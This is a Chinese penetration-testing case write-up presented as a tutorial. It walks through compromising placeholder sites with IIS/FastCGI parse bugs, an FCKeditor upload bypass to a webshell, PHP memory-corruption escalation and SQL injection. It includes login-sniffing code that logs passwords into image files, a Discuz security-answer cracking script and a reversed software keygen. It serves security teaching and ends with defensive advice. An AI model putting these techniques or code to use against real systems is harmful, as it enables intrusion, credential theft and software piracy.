【老文】一次艰难的渗透纪实
字数 2359 2025-08-29 08:32:09
渗透测试实战技术教学文档
0x00 前言与背景
本教学文档基于一次真实的渗透测试案例,展示了从信息收集到最终获取系统权限的完整过程。案例中涉及多种技术手段,包括但不限于:
- 信息收集与侦查
- CMS漏洞利用
- 旁站攻击
- 二级域名渗透
- 文件上传漏洞利用
- SQL注入
- 社会工程学
- 权限提升
- 密码破解与碰撞
0x01 信息收集阶段
1.1 目标识别
初始目标:www.111.com(CMS系统)和关联论坛(Discuz! X2)
1.2 技术手段
-
文件枚举:
- 通过robots.txt发现敏感目录
- 暴力猜解后台管理文件(如admin.php)
- 发现3gadm.php文件,确认使用diy-page8.3 CMS
-
服务器指纹识别:
- 通过错误页面识别IIS 7.5
- 使用HEAD请求确认:
Server: Microsoft-IIS/7.5 - 推断操作系统为Windows Server 2008
-
CDN绕过技术:
- 通过不同地区VPN ping测试发现不同IP
- 搜索关联域名发现www.222.com
- 旁注查询获取真实IP
0x02 漏洞发现与利用
2.1 IIS7.5+FastCGI解析漏洞
漏洞原理:
IIS7.5+FastCGI在默认配置下可能导致任意文件以PHP方式解析,类似Nginx解析漏洞。
验证方法:
http://www.222.com/images/aaa.gif/kyo.php 返回200状态码而非404
利用限制:
- 论坛附件上传到独立文件服务器(Windows 2003)
- CMS禁止普通用户注册和登录
2.2 二级域名渗透
发现二级域名a.111.com(博客系统),所在服务器托管多个网站(虚拟主机)
攻击路径:
- 识别www.aaa.com后台:
http://www.aaa.com/admin/admin_index.php - 利用FCKeditor上传漏洞:
- 添加GIF头到ASP木马
- 修改上传包:
filename="C:\aa.asp .gif"
- 获取webshell:
http://www.aaa.com/uploads/120107005538_53.asp
防护绕过:
- 星外+护卫神防护组合
- 删除wscript.shell等危险组件
- 不支持aspx执行
0x03 权限提升技术
3.1 PHP漏洞利用
目标环境:
- PHP 5.2.9-2
- Windows Server 2003
利用漏洞:
- PHP hash_update_file() Already Freed Resource Access Vulnerability
- PHP addcslashes() Interruption Information Leak Vulnerability
组合利用:
function hexdump($x) {
$ret_long = ord($x[0x13]) * 0x1000000 + ord($x[0x12]) * 0x10000 + ord($x[0x11]) * 0x100 + ord($x[0x10]);
$ret_long = $ret_long + 0x20;
return $ret_long;
}
利用流程:
- 使用addcslashes()泄露内存信息
- 获取shellcode存放地址
- 构造纯字母数字shellcode
- 通过hash_update_file()执行shellcode
3.2 ASPX提权技术
步骤:
- 寻找可写目录:
C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index - 上传定制aspx木马(绕过护卫神检测)
- 上传cmd.exe到可写目录
- 执行命令获取系统信息
0x04 Web应用漏洞挖掘
4.1 3hooCMS V3 SP2漏洞分析
SQL注入漏洞:
文件:Search.Asp
漏洞代码:
SoKey=trim(request("sokey"))
sql="select * from [info] where "&LanguageSet&"Name like'%"&SoKey&"%' order by id desc;"
利用方式:
POST型注入,需使用工具如NBSI进行自动化检测
4.2 后台getshell技术
数据库备份漏洞:
文件:Admin_DataBackup.asp
关键代码:
bkfolder=request.form("bkfolder")
MakeNewsDir bkfolder
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
利用步骤:
- 修改bkfolder参数为"kyo.asp"
- 创建恶意文件夹"kyo.asp"
- 通过IIS6.0目录解析漏洞执行木马
- 访问路径:
http://www.bbb3.com/manage/kyo.asp/data.mdb
0x05 密码破解技术
5.1 密码嗅探技术
ASP实现代码:
thename=replace(trim(request.form("username")))
thepass=replace(trim(Request.form("password")))
SaveFile="page.gif"
GetPostStr=thename&"|"&thepass
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
I.WriteLine(GetPostStr)
I.close
PHP实现代码:
$username1 = $this->Username;
$password1 = $this->Password;
$file="././images/bg1.gif";
$handle = @fopen("././images/th_bg1.gif", "a");
$recontent = fread($handle,filesize($file));
$content= $username1.$password1."----date is:".date("Y-m-d H:i:s")."\r\n";
$result=$recontent."\r\n".$content;
@fwrite($handle,$result);
5.2 Discuz! 提示问题破解
加密算法:
substr(md5($pass.md5($id)),16,8)
碰撞程序:
<?php
error_reporting(0);
if ($argc<2) {
print_r('Usage: php '.$argv[0].' hash\nExample:php '.$argv[0].' 91de8255\n');
die;
}
$fd=fopen("pass.dic","r");
if(!$fd){
echo "error:打开字典文件错误" ;
die;
}
while($buf=fgets($fd)){
for($i=1;$i<8;$i++){
$tmp=substr(md5(trim($buf).md5($i)),16,8);
$conn = strcmp($tmp,$argv[1]);
if($conn==0){
echo "密码破解成功。\n"."提示问题答案为:".$buf."提示的问题为:".theask((int)$i)."\n";
die;
}
}
}
if($conn!=0){
echo "没有正确的密码";
}
fclose($fd);
function theask($var){
if($var==1) return "母亲的名字";
elseif($var==2) return "爷爷的名字";
elseif($var==3) return "父亲出生的城市";
elseif($var==4) return "您其中一位老师的名字";
elseif($var==5) return "您个人计算机的型号";
elseif($var==6) return "您最喜欢的餐馆名称";
elseif($var==7) return "驾驶执照最后四位数字";
}
?>
0x06 软件逆向与破解
6.1 SuperDic字典生成器分析
注册验证流程:
- 生成申请号(基于GetVolumeInformationA)
- 对申请号加密:f1(申请号)
- 对注册码加密:f2(注册码)
- 比较f1(申请号) == f2(注册码)
逆向算法:
void DicDecode(char *str){
char end[64]={0};
if (strlen(str) !=16) *str=0;
for(int i=0,j=0;i<16,j<64;i++,j=j+4){
if(str[i]<='9' && str[i]>='0'){
end[j]=str[i]-22;
goto LABEL_a;
}
if(str[j]<='z' && str[i]>='a'){
end[j]=str[i]-61;
goto LABEL_a;
}
if(str[i]<='Z' && str[i]>='A'){
end[j]=str[i]-65;
}
LABEL_a:;
}
for(i=0;i<64;i=i+4){
if(end[i]<=i) { end[i]=i-end[i]; }
}
int v10[16];
for(int k=0,n=0;k<16,n<64;k++,n=n+4){
v10[k]=(int)end[n];
}
for(i=0;i<16;i++){
if(v10[i] <= 25 && v10[i]>=0){
str[i]=v10[i]+ 65;
goto LABEL_bb;
}
if(v10[i] <= 35 && v10[i]>=26){
str[i]=v10[i]+ 22;
goto LABEL_bb;
}
if(v10[i] < 61 && v10[i]>=36){
str[i]=v10[i]+ 61;
}
LABEL_bb:;
}
char sigeliu[5]={0x36,0x36,0x36,0x36,0};
strcat(str,sigeliu);
}
0x07 防御建议
基于本次渗透测试中发现的漏洞,建议采取以下防御措施:
-
服务器配置:
- 及时更新IIS和PHP版本
- 禁用不必要的HTTP方法
- 配置严格的解析规则
-
应用程序安全:
- 对所有用户输入进行严格过滤
- 使用预编译语句防止SQL注入
- 实现文件上传的白名单验证
- 避免敏感信息泄露(如phpinfo)
-
权限控制:
- 遵循最小权限原则
- 定期审计账户权限
- 使用强密码策略
-
监控与日志:
- 实施全面的日志记录
- 设置异常行为警报
- 定期检查系统完整性
-
安全意识:
- 定期进行安全培训
- 建立安全开发生命周期(SDLC)
- 定期进行渗透测试和安全评估
0x08 总结
本案例展示了渗透测试中常见的技术路线和思维方法,强调了以下几点:
- 信息收集是渗透测试的基础
- 多个漏洞的组合利用往往能突破单一防御
- 社会工程学是有效的辅助手段
- 密码安全仍然是防御的关键环节
- 持续学习和研究新技术对安全人员至关重要
通过本案例的学习,安全人员可以更好地理解攻击者的思维方式和技术手段,从而构建更有效的防御体系。